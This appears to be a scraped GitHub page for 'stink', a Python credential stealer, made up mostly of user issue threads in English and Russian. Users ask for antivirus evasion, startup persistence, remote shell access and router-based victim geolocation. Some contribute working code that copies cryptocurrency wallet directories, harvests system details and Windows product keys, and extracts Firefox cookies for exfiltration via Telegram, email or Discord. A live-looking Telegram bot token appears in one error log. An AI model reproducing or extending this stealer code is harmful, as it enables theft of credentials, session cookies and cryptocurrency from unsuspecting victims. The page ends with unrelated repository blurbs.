The code is for information purposes only. The author is not responsible for its use.
🚀 Stealer on built-in libraries only, which doesn't create any temp files on data collecting, with 4 sending methods and lots of functionality.
License: Apache License 2.0
When I run the stealer after building by stink package, my browser edge suddenlly shutdown and the stealer didn;t work anymore. I already checked the process hacker 2 and the result that the process of stealer run ~3 sec and terminate. It worked on my pc but when I test in my laptop the problem appears
How to use the session data that stink collected, may change it to tdata? thank you.
Изменил проект под себя, добавил antiVM модуль, добавил Steam модуль, удалил Autostart и подправил некоторые моменты.
С последним обновлением Windows 11 они поставили по умолчания за место cmd, Windows Terminal.
Сам проект работает, скидывает все файлы которые требуются, завершается в PyCharm, Visual Studio с кодом 0, но открывает 2 окна Windows Terminal и выводит сообщение "[Процесс завершил работу с кодом 1 (0x00000001)]".
Очень бы хотелось связаться с тобой лично для выяснения и решения этой проблемы, так-же, если нужно, мог бы скинуть свою версию "stink".
Whether it can be increased. Steal Crypto Wallet exe. browser extension.?
Я использую windows 7 32bit и при запуске кода выдаёт такую ошибку и сообщение в телеграмме не приходит
[SENDER]: MaxRetryError("HTTPSConnectionPool(host='api.telegram.org', port=443): Max retries exceeded with url: /bot5293900402:AAH9D6Vye21VZwCgLaqFPK_96ZbTYUMmwtQ/sendDocument (Caused by SSLError(SSLError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:777)'),))",)
[]
None
Hi! Can u add steal steam sessions?
How to add it to startup...Can you integrate startup with windows next time update?
how to use this cookie?
Nuitka-Options:INFO: Used command line options: --onefile --plugin-enable=multiprocessing --windows-disable-console main.py
Nuitka:WARNING: Using very slow fallback for ordered sets, please install 'orderedset' PyPI package for best Python compile time performance.
Nuitka-Plugins:WARNING: multiprocessing: Plugin is defined as always enabled.
Nuitka:INFO: Starting Python compilation with Nuitka '1.0.7' on Python '3.7' commercial grade 'not installed'.
Nuitka-Plugins:INFO: multiprocessing: Injecting pre-module load code for module 'multiprocessing':
Nuitka-Plugins:INFO: multiprocessing: Monkey patching "multiprocessing" load environment.
Nuitka-Plugins:INFO: multiprocessing: Injecting post-module load code for module 'multiprocessing':
Nuitka-Plugins:INFO: multiprocessing: Monkey patching "multiprocessing" for compiled methods.
Nuitka:INFO: Completed Python level compilation and optimization.
Nuitka:INFO: Generating source code for C backend compiler.
Nuitka:INFO: Running data composer tool for optimal constant value handling.
Nuitka:INFO: Running C compilation via Scons.
Nuitka-Scons:INFO: Backend C compiler: gcc (gcc).
Backend C: 83.7%|████████████████████▉ | 87/104scons: *** [module.Crypto.o] Error 3221225477
Nuitka-Scons:INFO: Backend linking program with 104 files (no progress information available).
Occasionally, stink doesn't collect enough data from the browser. For example, my browser has up to 10 profiles, but stink only collects about 2 profiles. This problem is very common. Can you explain it to me?
Will be in future antivir bypass?
is there a way to evasion windows defender detection ? obfuscate from nuikta doesn't effective now. Looking forward to hearing from you !!!
am using cookie editor extension and cookie doesn't working with facebook and any social network... please fix it ..thank you!
Could you please add the ability to collect .txt, .doc and other files from the desktop?
hey thanx for the updates, i really like how well you're expanding the application
here are some suggestions i think would be nice to implant:
computerOS = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(
errors='ignore').strip().splitlines()
computerOS = computerOS[2].strip() if len(computerOS) >= 2 else 'Unable to detect OS'
totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True,
shell=True).stdout.decode(errors='ignore').strip().split()
totalMemory = str(int(int(totalMemory[1]) / 1000000000)) + ' GB' if len(
totalMemory) >= 1 else 'Unable to detect total memory'
uuid = subprocess.run('wmic csproduct get uuid', capture_output=True, shell=True).stdout.decode(
errors='ignore').strip().split()
uuid = uuid[1].strip() if len(uuid) >= 1 else 'Unable to detect UUID'
cpu = subprocess.run(
"powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER",
capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to detect CPU'
gpu = subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(
errors='ignore').splitlines()
gpu = gpu[2].strip() if len(gpu) >= 2 else 'Unable to detect GPU'
productKey = subprocess.run(
"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault",
capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to get product key'
http = PoolManager(cert_reqs='CERT_NONE')
try:
r: dict = json.loads(
http.request('GET', 'http://ip-api.com/json/?fields=225545').data.decode(errors='ignore'))
if r.get('status') != 'success':
raise Exception('Failed')
data = f"\nIP: {r['query']}\nRegion: {r['regionName']}\nCountry: {r['country']}\nTimezone: {r['timezone']}\n\n{'Cellular Network:'.ljust(20)} {(chr(9989) if r['mobile'] else chr(10062))}\n{'Proxy/VPN:'.ljust(20)} {(chr(9989) if r['proxy'] else chr(10062))}"
if len(r['reverse']) != 0:
data += f"\nReverse DNS: {r['reverse']}"
except Exception:
ipinfo = '(Unable to get IP info)'
else:
ipinfo = data
system_info = f'Computer Name: {computerName}\nComputer OS: {computerOS}\nTotal Memory: {totalMemory}\nUUID: {uuid}\nCPU: {cpu}\nGPU: {gpu}\nProduct Key: {productKey}'
pmessage = f'System: {os.getlogin()}\nIP Info\n{ipinfo}\nSystem Info\n{system_info}'.strip()
then add message.set_content(pmessage) to email class
ps: i didn't know where is the working directory (where is it btw?) but would be nice to iterate over grabbed data also add the number of grabbed telegram sessions and wallets to the email as well to know if it's even added or not, for example:
Telegram Sessions : 1
Wallets : 4
and if browser is not grabbed or any other data, it would be nicer to not even include that in the email text at all instead of showing 0 is grabbed (for easier indexing and searching through emails and finding the ones that include the searched data)
and again thanx and nice job on your new works.
Can you help me with cookies? The cookies that stink collects are not accepted by browser cookie extensions. Do they need to be converted to another format?
hi! can you add steal firefox and yandex browsers?
First of all i wanted to say you wrote your code beautifully well done.
and lately with discord banning accounts and telegram being filtered in most countries, it would be really nice to have the option to send data via SMTP, either gmail server or....
and is it now possible to have more than one sending method? for exampling sending to telegram, discord and..?
also i think it would be also very nice to add wallet grabber to the app, simply coping wallet directories would work, here is a list of them:
def getwallets():
wallets = (
('Zcash', os.path.join(os.getenv("appdata"), "Zcash")),
("Armory", os.path.join(os.getenv("appdata"), "Armory")),
("Bytecoin", os.path.join(os.getenv("appdata"), "Bytecoin")),
('jaxx', os.path.join(os.getenv("appdata"), "com.liberty.jaxx", "IndexedDB", "file_0.indexeddb.leveldb")),
("Exodus", os.path.join(os.getenv("appdata"), "Exodus", "exodus.wallet")),
("Ethereum", os.path.join(os.getenv("appdata"), "Ethereum", "keystore")),
("Electrum", os.path.join(os.getenv("appdata"), "Electrum", "wallets")),
("atomic", os.path.join(os.getenv("appdata"), "atomic", "Local Storage", "leveldb")),
("Guarda", os.path.join(os.getenv("appdata"), "Guarda", "Local Storage", "leveldb")),
("Coinomi", os.path.join(os.getenv("localappdata"), "Coinomi", "Coinomi", "wallets")),
)
for name, path in wallets:
if os.path.isdir(path):
os.mkdir(f'{the working directory}\\{name}')
copy_tree(path, f"{the working directory}\\{name}")
with open(f"{the working directory}\\{name}\\Location.txt", "+w") as text:
text.write(path)
When running the .py file it works fine. However once the .exe is compiled get the following error:
Traceback (most recent call last):
File "C:\Users\ADMINI1\AppData\Local\Temp\ONE9551\test.py", line 1, in
from stink.multistealer import Stealer
File "C:\Users\ADMINI1\AppData\Local\Temp\ONE9551\stink\multistealer.py", line 6, in
File "C:\Users\ADMINI1\AppData\Local\Temp\ONE9551\stink\browsers\chrome.py", line 9, in
ImportError: LoadLibraryExW 'C:\Users\ADMINI1\AppData\Local\Temp\ONE9551\win32crypt.pyd' failed: The specified module could not be found.
Everything else works fine, but the cookies don't come in.
In some countries. telegram is not supported. blocked
Therefore data cannot be sent to telegram bot
How can I change this to upload data to ftp or hotmail email?
what is the name of file where are additional parameters?
I would like to execute a new payload using the installed Stink exe.
Is this possible via Telegram?
Can I do remote shell or execute new exe?
Thanks
need to add time.sleep(5) to telegram sender because .zip file slowly gathers and the request manages to leave without it. as a result i got error 400 from telegram api.
Hello, I examined your code, you wrote it very professionally, but it depends on too many files and it is very difficult to encrypt it. Is there any chance you can make it work in a single python file?
@domofon4ik
Questions should be asked in this section. It was funny to go to your profile and see the question in the description of the forked repository)
The answer to your question:
No, that's not how it works. When you run the stealer, it collects data and sends it as an archive to the telegram you specified. If you need help, specify at what stages the problems occurred.
cookies are not imported, how to import? I try it through the editor cookie, and the cookie bro does not work
where i can edit zip archive name ??
now its user-st.zip
Привет! Я имею ошибку с Microsoft edge и еще с Steam и FileZilla
[Microsoft Edge]: OperationalError('no such table: cookies')
[FileZilla]: FileNotFoundError(2, 'No such file or directory')
[Steam]: PermissionError(13, 'Permission denied')
[Microsoft Edge]: OperationalError('no such table: cookies')
Amazing work on this gem! Just wondering about cookies for Chrome. When importing json cookies via Chrome extensions it doesn't seem to work. Firefox cookies work great. Anyone facing the same issue or know of a solution?
when there is more than one profile on browser like google chrome, it can't get all cookies and passwords in all those profiles. So, hope you will fix it in the next update. Thank you!
hi it is lacking FireFox or Gecko based browsers stealer, i've tried to add to it but it's your code and i get a headache reading someone else code lol, it's unfinished code i was trying to add all gecko browsers and also stealing extensions from them, and password, but so far it only steals and returns cookies from mozila you can add the rest of browsers in your config, i just gave up trying to implant it to your code lol:
import json
import os
import os.path
import sqlite3
import sys
from collections import namedtuple
import lz4.block
class FirefoxCookieError(Exception):
pass
class FirefoxSessionStoreMissingError(FirefoxCookieError):
pass
MOZLZ4_MAGIC = b'mozLz40\0'
class InvalidMozLz4FileError(FirefoxCookieError):
pass
def read_mozlz4(file_path):
with open(file_path, 'rb') as fh:
if fh.read(len(MOZLZ4_MAGIC)) != MOZLZ4_MAGIC:
raise InvalidMozLz4FileError(f'not an mozLz4 file: {file_path}')
return lz4.block.decompress(fh.read())
COOKIE_JAR_HEADER = '# Netscape HTTP Cookie File'
class Cookie(
namedtuple(
'Cookie',
'host allow_subdomains path is_secure expiry name value'
)):
__slots__ = ()
def serialize(self):
return '\t'.join(
str(x) if not isinstance(x, bool) else str(x).upper()
for x in self
)
def write_cookie_jar(cookies):
fh = ""
fh += COOKIE_JAR_HEADER
fh += '\n'
for c in cookies:
fh += c.serialize()
fh += '\n'
return fh
class FirefoxCookieReader:
SESSIONSTORE_NAME = 'sessionstore.jsonlz4'
COOKIEDB_NAME = 'cookies.sqlite'
@staticmethod
def _sqlite_convert_bool(bytes_obj):
return bytes_obj != b'0'
def __init__(self, profile_dir, host_glob_patterns=None):
self._profile_dir = profile_dir
self._host_globs = frozenset(host_glob_patterns or [])
sqlite3.register_converter('bool', self._sqlite_convert_bool)
def _is_host_matched(self, host):
if not self._host_globs:
return True
for p in self._host_globs:
if fnmatch.fnmatchcase(host, p):
return True
return False
def _iter_session_cookies(self):
try:
data = json.loads(
read_mozlz4(
os.path.join(self._profile_dir, self.SESSIONSTORE_NAME)
)
)
except OSError as e:
raise FirefoxSessionStoreMissingError(
f'Firefox session store "{e.filename}" not found. Close Firefox, and try again.'
) from e
for c in data['cookies']:
if not self._is_host_matched(c['host']):
continue
yield Cookie(
host=c['host'],
allow_subdomains=c['host'].startswith('.'),
path=c['path'],
is_secure=c.get('secure', False),
expiry=0, # Session cookie
name=c.get('name', ''), # Empty name ok says http.cookiejar (?!)
value=c['value'],
)
def _iter_persisted_cookies(self):
conn = None
try:
conn = sqlite3.connect(
os.path.join(self._profile_dir, self.COOKIEDB_NAME),
detect_types=sqlite3.PARSE_COLNAMES
)
cursor = conn.execute(
'''
SELECT
host,
host LIKE '.%' AS 'allow_subdomains [bool]',
path,
isSecure AS 'isSecure [bool]',
expiry,
name,
value
FROM moz_cookies;
'''
)
for row in cursor:
c = Cookie._make(row)
if not self._is_host_matched(c.host):
continue
yield c
finally:
if conn:
conn.close()
def __iter__(self):
yield from self._iter_session_cookies()
yield from self._iter_persisted_cookies()
def getc():
appDataFolder = os.getenv('APPDATA')
mozillaFolder = os.path.join(appDataFolder, "Mozilla", "Firefox", "Profiles")
profileFolders = []
profilePaths = []
if os.path.exists(mozillaFolder):
for _root, folders, file in os.walk(mozillaFolder):
for folder in folders:
if folder == "extensions":
profileName = _root.split('\\')[-1]
profileFolders.append(profileName)
profilePaths.append(_root)
allcookies = ""
for path in profilePaths:
try:
cookie_reader = FirefoxCookieReader(path)
allcookies += write_cookie_jar(cookie_reader)
except Exception as e:
print(e)
return allcookies
You collect the victim's IP, however, it will only lead to the city and ISP name. Can you create an algorithm that will check if a computer is connected to the router, if yes - then the mac address of the router will be written to the list of data, it can be determined to an accuracy of 10 metres using free tools?
Привет, когда я пытаюсь установить stink (последняя версия на момент 4 ноября). Ошибка в pywin32
ERROR: Cannot install stink==0.0.1, stink==0.0.2, stink==0.0.3, stink==0.0.4, stink==0.0.5, stink==0.0.6 and stink==0.0.7 because these package versions have conflicting dependencies.
The conflict is caused by:
stink 0.0.7 depends on pywin32==301
stink 0.0.6 depends on pywin32==301
stink 0.0.5 depends on pywin32==301
stink 0.0.4 depends on pywin32==301
stink 0.0.3 depends on pywin32==301
stink 0.0.2 depends on pywin32==301
stink 0.0.1 depends on pywin32==301
To fix this you could try to:
1. loosen the range of package versions you've specified
2. remove package versions to allow pip attempt to solve the dependency conflict
Python version: 3.0.10
что с этим делать?
I couldn't find where to enter my telegram token and chat id
compiler closes after nuitka installation, why?
C:\Users\User>C:\Users\User\Desktop\stink-master\stink-master\compiler.bat
File name for compilation (for example test.py): gog
Compress the file? (y/n): y
Disable console? (y/n): y
C:\Users\User>pip install virtualenv & virtualenv venv & call venv\Scripts\activate
Requirement already satisfied: virtualenv in c:\users\User\appdata\local\programs\python\python311\lib\site-packages (20.21.0)
Requirement already satisfied: distlib<1,>=0.3.6 in c:\users\User\appdata\local\programs\python\python311\lib\site-packages (from virtualenv) (0.3.6)
Requirement already satisfied: filelock<4,>=3.4.1 in c:\users\User\appdata\local\programs\python\python311\lib\site-packages (from virtualenv) (3.10.4)
Requirement already satisfied: platformdirs<4,>=2.4 in c:\users\User\appdata\local\programs\python\python311\lib\site-packages (from virtualenv) (3.1.1)
created virtual environment CPython3.11.2.final.0-64 in 1427ms
creator CPython3Windows(dest=C:\Users\User\venv, clear=False, no_vcs_ignore=False, global=False)
seeder FromAppData(download=False, pip=bundle, setuptools=bundle, wheel=bundle, via=copy, app_data_dir=C:\Users\User\AppData\Local\pypa\virtualenv)
added seed packages: Nuitka==0.6.19.6, pip==23.0.1, setuptools==67.4.0, wheel==0.38.4
activators BashActivator,BatchActivator,FishActivator,NushellActivator,PowerShellActivator,PythonActivator
(venv) C:\Users\User>pip install -r requirements.txt & pip install Nuitka==0.6.19.6
ERROR: Could not open requirements file: [Errno 2] No such file or directory: 'requirements.txt'
Requirement already satisfied: Nuitka==0.6.19.6 in c:\users\User\venv\lib\site-packages (0.6.19.6)
(venv) C:\Users\User>if "y" == "y" (pip install zstandard==0.17.0 ) else (echo Y | pip uninstall zstandard )
Collecting zstandard==0.17.0
Using cached zstandard-0.17.0.tar.gz (629 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... error
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> [31 lines of output]
Traceback (most recent call last):
File "C:\Users\User\venv\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 353, in
main()
File "C:\Users\User\venv\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 335, in main
json_out['return_val'] = hook(**hook_input['kwargs'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\venv\Lib\site-packages\pip_vendor\pyproject_hooks_in_process_in_process.py", line 118, in get_requires_for_build_wheel
return hook(config_settings)
^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\build_meta.py", line 338, in get_requires_for_build_wheel
return self._get_build_requires(config_settings, requirements=['wheel'])
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\build_meta.py", line 320, in _get_build_requires
self.run_setup()
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\build_meta.py", line 485, in run_setup
self).run_setup(setup_script=setup_script)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\build_meta.py", line 335, in run_setup
exec(code, locals())
File "", line 90, in
File "C:\Users\User\AppData\Local\Temp\pip-install-ow2c37e5\zstandard_fbb712d6ea0041b1b12ae868daddfbc5\setup_zstd.py", line 66, in get_c_extension
compiler.initialize()
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools_distutils_msvccompiler.py", line 253, in initialize
vc_env = _get_vc_env(plat_spec)
^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\msvc.py", line 210, in msvc14_get_vc_env
return _msvc14_get_vc_env(plat_spec)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "C:\Users\User\AppData\Local\Temp\pip-build-env-edrcvoi4\overlay\Lib\site-packages\setuptools\msvc.py", line 164, in _msvc14_get_vc_env
raise distutils.errors.DistutilsPlatformError(
distutils.errors.DistutilsPlatformError: Microsoft Visual C++ 14.0 or greater is required. Get it with "Microsoft C++ Build Tools": https://visualstudio.microsoft.com/visual-cpp-build-tools/
[end of output]
note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error
× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.
note: This error originates from a subprocess, and is likely not a problem with pip.
(venv) C:\Users\User>if "y" == "y" (nuitka --onefile --plugin-enable=multiprocessing --windows-disable-console gog ) else (nuitka --onefile --plugin-enable=multiprocessing gog )
Nuitka-Options:INFO: Used command line options: --onefile --plugin-enable=multiprocessing --windows-disable-console gog
Nuitka:WARNING: The version '3.11' is not currently supported. Expect problems.
Nuitka:INFO: Starting Python compilation with Nuitka '0.6.19.6' on Python '3.11' commercial None.
FATAL: main.py: can't open file 'gog'.
Привет!
Как можно решить проблему с дубликатами файлов?
ошибка
C:\Users\836D1\AppData\Local\Temp\ONEFIL1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/64.png'
C:\Users\836D1\AppData\Local\Temp\ONEFIL1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/96.png'
C:\Users\836D1\AppData\Local\Temp\ONEFIL1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/fre_email_hrd.png'
C:\Users\836D1\AppData\Local\Temp\ONEFIL1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/optionalDiagnosticData.png'
C:\Users\836D1\AppData\Local\Temp\ONEFIL1\zipfile.py:1505: UserWarning: Duplicate name: 'Grabber/blurrect.png'
ошибка
настройка граббера хочу получить файлы из всего каталога С диска
],
grabbers=[
Grabber(
paths=[rf"C:\Users{getuser()}"],
file_types=[".png"],
check_sub_folders=True
)
]
).run()
Hi, I have a problem not installing stink==0.0.5 Also can't find the folder at this path In the appearing folder venv go to the path \Lib\site-packages\win32.
Copy the file win32crypt.pyd
Originally posted by @jaday88 in #15 (comment)
Привет, я тестил твой стиллер на нескольких компах, и на всех он без проблем стилит данные только с эджа, с остальных браузеров получается лишь куки вытащить. Хотелось бы узнать, получалось ли вытащить данные из других браузеров, либо это все ситуативно и зависит от системы. Понимаю, что многие функции еще в разработке, но просто в описании указана поддержка многих браузеров, а по факту работает только эдж. А в целом проект весьма интересный, удачи в разработке)
I got the .exe file, butt when I run it, I am not receiving any Telegram messages from my bot. How it should be done after getting exe file?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.